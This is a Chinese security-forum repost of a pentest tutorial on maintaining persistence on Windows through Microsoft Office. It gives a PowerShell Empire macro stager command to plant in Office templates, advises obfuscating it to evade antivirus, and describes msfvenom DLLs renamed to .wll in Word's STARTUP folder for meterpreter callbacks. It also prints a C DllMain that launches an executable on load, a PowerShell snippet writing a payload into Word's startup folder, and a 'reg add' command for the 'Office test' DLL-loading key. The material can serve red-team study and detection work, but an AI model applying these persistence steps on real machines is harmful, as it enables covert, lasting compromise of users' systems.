安全矩阵

 找回密码
 立即注册
搜索
查看: 2342|回复: 0

利用 Office 来进行系统权限维持

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-4-27 20:44:00 | 显示全部楼层 |阅读模式
原文链接:利用 Office 来进行系统权限维持
Office 模板
对于企业而言,都喜欢使用统一的模板文件,在每次启动 Office 软件时加载模板,模板文件存储在下面的位置:
C:\Users\pentestlab\AppData\Roaming\Microsoft\Templates

如果恶意宏嵌入到基础模板中,用户在每次启动 Office 软件时,都执行一下恶意的宏代码,可以使用 PowerShell Empire 中的模块生成宏代码:
usestager windows/macro set Listener http execute

生成的宏可以直接插入到模板文档中,对代码进行混淆可以绕过一些防病毒的检测:

当用户打开模板文件时,执行 Office 宏代码,可以看到目标连接的 Session:

外部插件Office 外部插件用于扩展 Office 程序的功能。当 Office 应用程序启动时,会对存储外部插件的文件夹进行检查,以便应用程序加载它们。执行以下命令来发现 Microsoft Word 的可信位置,也可以删除外部插件。
Get-ChildItem "hkcu:\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations"

Office 的外部插件是 DLL 文件,扩展名不同,表示使用不同的应用程序,例如 .wll 代表 Word,.xll 代表 Excel。Metasploit Framework 的“msfvenom”可用于创建可被使用的 DLL 文件,然后将扩展名修改为“.wll”(Word 插件程序的扩展名),并将文件移动到 Word 启动文件夹,每次 Word 启动时执行外部插件:
C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP

代码执行后,meterpreter 会得到一个回连 Session,但是 word 会崩溃,这对于用户来说能够知道,Word 可能被人破坏或者修改,容易引起用户的警觉:

最好的方法是创建一个不会导致应用程序崩溃的自定义 DLL 文件
DLL_PROCESS_ATTACH 可以把 DLL 加载到当前进程的虚拟地址空间(Word、Excel、PowerPoint 等),DLL 一旦被加载,就可以启动任意可执行的文件:

  1. // dllmain.cpp : Defines the entry point for the DLL application.
  2. #include "pch.h"
  3. #include <stdlib.h>

  4. BOOL APIENTRY DllMain( HMODULE hModule,
  5.                        DWORD  ul_reason_for_call,
  6.                        LPVOID lpReserved
  7.                      )
  8. {
  9.     switch (ul_reason_for_call)
  10.     {
  11.     case DLL_PROCESS_ATTACH:
  12.         system("start pentestlab32.exe");
  13.     case DLL_THREAD_ATTACH:
  14.     case DLL_THREAD_DETACH:
  15.     case DLL_PROCESS_DETACH:
  16.         break;
  17.     }
  18.     return TRUE;
  19. }
复制代码



Word Add-Ins 具有“.wll”文件的扩展名,本质上是放置在 Word 启动文件夹中的 DLL 文件,每次 Microsoft Word 启动时都会加载:
C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP

下次 Word 启动时,将加载加载 DLL 程序,并执行恶意文件:

还有个 Powershell 版本的脚本,可以生成相关文件(WLL、XLL、VBA)。并将这些文件复制到 Word、Excel 或 PowerPoint 的启动文件夹中:
下载地址:
https://github.com/3gstudent/Office-Persistence
使用方法:

默认情况下,脚本生成的程序主要是用来弹出计算器,用户验证持久化的能力:
  1. <code>$fileContentBytes = [System.Convert]::FromBase64String($fileContent)
  2. </code><code>[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Word\Startup\calc.wll",$fileContentBytes)</code>
复制代码



Office test在注册表中创建一个注册表项,在 Office 软件启动时,会自动加载该注册表项中指定的 DLL 文件,创建命令如下:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\tmp\pentestlab.dll

该命令将创建以下注册表结构:

当 Microsoft Office 应用程序再次启动时,DLL 被执行:



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 05:27 , Processed in 0.015303 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表